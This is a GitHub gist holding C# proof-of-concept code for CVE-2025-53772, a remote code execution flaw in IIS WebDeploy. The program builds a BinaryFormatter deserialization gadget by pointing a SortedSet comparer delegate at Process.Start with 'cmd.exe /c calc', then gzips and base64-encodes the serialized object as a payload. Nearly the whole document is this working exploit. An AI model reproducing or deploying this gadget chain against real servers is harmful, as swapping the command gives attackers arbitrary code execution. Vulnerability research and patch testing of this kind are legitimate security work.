Skip to content

Instantly share code, notes, and snippets.

@hawktrace
Created September 2, 2025 17:53
Show Gist options
  • Save hawktrace/67836c7e9f35b72077b50f220349cd73 to your computer and use it in GitHub Desktop.
Save hawktrace/67836c7e9f35b72077b50f220349cd73 to your computer and use it in GitHub Desktop.
CVE-2025-53772 IIS WebDeploy RCE
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
namespace hawktraceiis
{
class Program
{
static void Main(string[] args)
{
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd.exe");
set.Add("/c calc");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
using (MemoryStream stream = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, set);
using (MemoryStream compst = new MemoryStream())
{
using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress))
{
stream.Position = 0;
stream.CopyTo(gzipStream);
}
string gzb4 = Convert.ToBase64String(compst.ToArray());
Console.WriteLine(gzb4);
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment